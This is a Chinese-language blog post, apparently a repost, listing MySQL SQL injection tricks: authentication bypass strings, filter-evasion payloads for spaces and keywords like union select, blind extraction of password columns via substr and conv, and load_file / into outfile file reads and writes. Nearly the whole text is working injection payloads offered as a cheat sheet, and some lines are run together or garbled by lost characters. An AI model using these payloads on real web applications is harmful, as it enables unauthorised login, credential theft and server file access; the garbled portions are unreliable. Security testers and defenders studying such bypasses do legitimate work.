mysql注入技巧原理_MySQL注入技巧总结
0x00 介紹
以下所有技巧都只在mysql適用,因為它太靈活了。
0x01 MYSQl靈活的語法
1 MySQL語法以及認證繞過
注釋符:
#,-- X(X為任意字符)/*(MySQL-5.1);%00`'or 1=1;%00'or 1=1 union select 1,2`''or 1=1 #'/*!50000or*/ 1=1 -- - //版本號為5.1.38時只要小于50138'/*!or*/ 1=1 -- -
前綴:
任意混合+ - ~ !
'or --+2=- -!!!'2
測試后發現and/or后面可以跟上偶數個!、~可以替代空格,也可以混合使用(混合后規律又不同),and/or前的空格可以省略
'or-?-!!!1=1;
運算符:
^,?=,?!=,?%,?/,?*,?&,?&&,?|,?||,?,?<>,?>=,?<=,?<>,?<=>,?XOR,DIV,?SOUNDS?LIKE,?RLIKE,?REGEXP,?IS,?NOT,?BETWEEN,……'or 1 rlike '1
空格替換:%20, %09, %0a, %0b, %0c, %0d, %a0
也可以插入括號,前綴,操作符,引號
'or+(1)sounds/**/like"1"--%a0-
字符串格式
' or "a"='a'' or 'a'=n'a' //unicode' or 'a'=b'1100001' //binary' or 'a'=_binary'1100001' //5.5.41下測試無效' or 'a'=x'61' //16進制
2、MySQL常用的一些小工具
常量:true, false, null, \N, current_timestamp....
變量:@myvar:=1
系統變量:@@version, @@datadir....
常用函數:version(), pi(), pow(), char(), substring()....
3、MySQL類型轉換
' or 1=true #true=1, false=0' or 1 #true' or version()=5.5 #5.5.41-log' or round(pi(),1)+true+true+0.4=version() #3.1+1+1+0.4select * from users where 'a'='b'='c'select * from users where ('a'='b')='c'select * from users where (false)='c'select * from users where (0)='c'select * from users where (0)=0select * from users where trueselect * from users
以上的語句都是同樣的效果
4、認證繞過
繞過語句:'='
select data from users where name="="select data from users where flase="select data from users where 0=0
繞過語句:'-'
select data from users where name=''-''select data from users where name=0-0select data from users where 0=0
0x02 關鍵字過濾
空格
過濾代碼/\s/
%20, %09, %0a, %0b, %0c, %0d, %a0
關鍵字OR,AND
過濾代碼/\sor\s/i,/\sand\s/i
'||1='1 #or'=''&&1='1 #and
關鍵字union select
過濾代碼/union\s+select/i
'and(true)like(false)union(select(pass)from(users))#'union [all|distinct] select pass from users#'union%a0select pass from users#'union/*!select*/pass from users#/vuln.php?id=1 union/*&sort=*/select pass from users-- -
如果單獨過濾union,使用盲注來獲取數據
'and(select pass from users limit 1)='secret
通過子查詢獲取單值來進行比較
關鍵字limit
過濾代碼/limit/i
'and(select pass from users where id=1)='a'and(select pass from users group by id having id=1)='a'and length((select pass from users having substr(pass,1,1)='a'))
關鍵字having
過濾代碼/having/i
'and(select substr(group_concat(pass),1,1)from users)='
關鍵字select ... from
過濾代碼/SELECT\s+[A-Za-z.]+\s+FROM/i/i
select [all|distinct] pass from usersselect`table_name`from`information_schema` . `tables`select pass as alias from usersselect pass aliasalias from usersselect pass`alias alias`from usersselect+pass%a0from(users)
關鍵字select
過濾代碼/select/i
1 有文件讀取權限
' and substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10)='a'='' into outfile '/var/www/dump.txt
2 獲取列名
' and 列名 is not null#' procedure analyse()#
使用substr來做過濾條件
'and substr(pass,1,1)='a
關鍵字select,and,&
'0#
select data from users where name = ''-0 # int typecastselect data from users where name = 0 # int typecastselect data from users where 0 = 0 # true
'-1#
select data from users where 0 = -1 # false
使用條件判斷來進行true、false的選擇
ifnull(nullif()), case when, if()'-if(name='Admin',1,0)#
使用嵌套條件'-if(
if(name='Admin',1,0), // conditionif(substr(pass,1,1)='a',1,0) // if true,0)# // if false
0x03 函數過濾
構建字符串相關函數
unhex char hex ascii ord substr substring mid pad left right insert' and substr(data,1,1) = 'a'#' and substr(data,1,1) = 0x61# 0x6162' and substr(data,1,1) = unhex(61)# unhex(6162)' and substr(data,1,1) = char(97)# char(97,98)' and hex(substr(data,1,1)) = 61#' and ascii(substr(data,1,1)) = 97#' and ord(substr(data,1,1)) = 97#
使用conv來進行進制的轉換
' and substr(data,1,1) = lower(conv(10,10,36))# 'a'' and substr(data,1,1) = lower(conv(11,10,36))# 'b'' and substr(data,1,1) = lower(conv(36,10,36))# 'z'
使用函數來猜解數據
' and substr(data,1,1) = 'a'#' and substring(data,1,1) = 'a'#' and mid(data,1,1) = 'a'#
不適用逗號來獲取
' and substr(data from 1 for 1) = 'a'#
同樣也可以使用一下比較少見的函數來嘗試繞過
lpad(data,1,space(1)) // lpad('hi',4,'?') = '??hi'rpad(data,1,space(1)) // rpad('hi',4,'?') = 'hi??'left(data,1)reverse(right(reverse(data),1))insert(insert(version(),1,0,space(0)),2,222,space(0))
有些函數有類似搜索匹配的功能
'-if(locate('f',data),1,0)#'-if(locate('fo',data),1,0)#'-if(locate('foo',data),1,0)#instr(), position()
使用函數進行字符串的切割
length(trim(leading 'a' FROM data)) # length will be shorterlength(replace(data, 'a', '')) # length will be shorter
2種方式都是相同效果
0x04 注入時主要使用的一些東西
1個控制流程操作(select, case, if(), ...)1個比較操作(=, like, mod(), ...)1個字符串的猜解(mid(), left(), rpad(), …)1個字符串生成(0x61, hex(), conv())
使用conv([10-36],10,36)可以實現所有字符的表示
false !pi() 0 ceil(pi()*pi()) 10 A ceil((pi()+pi())*pi()) 20 Ktrue !!pi() 1 ceil(pi()*pi())+true 11 B ceil(ceil(pi())*version()) 21 Ltrue+true 2 ceil(pi()+pi()+version()) 12 C ceil(pi()*ceil(pi()+pi())) 22 Mfloor(pi()) 3 floor(pi()*pi()+pi()) 13 D ceil((pi()+ceil(pi()))*pi()) 23 Nceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E ceil(pi())*ceil(version()) 24 Ofloor(version()) 5 ceil(pi()*pi()+version()) 15 F floor(pi()*(version()+pi())) 25 Pceil(version()) 6 floor(pi()*version()) 16 G floor(version()*version()) 26 Qceil(pi()+pi()) 7 ceil(pi()*version()) 17 H ceil(version()*version()) 27 Rfloor(version()+pi()) 8 ceil(pi()*version())+true 18 I ceil(pi()*pi()*pi()-pi()) 28 Sfloor(pi()*pi())??????9?????floor((pi()+pi())*pi())???19?J??????floor(pi()*pi()*floor(pi()))?29?T
更多詳細的東西可以參考原文,還有一些其他的注入資料可以參考
http://websec.ca/kb/sql_injection
往期精彩
感興趣的可以點個關注!!!
關注「安全先師」
把握前沿安全脈搏
總結
以上是生活随笔為你收集整理的mysql注入技巧原理_MySQL注入技巧总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: android在特定时间,如何在Andr
- 下一篇: java非必填字段跳过校验,avalon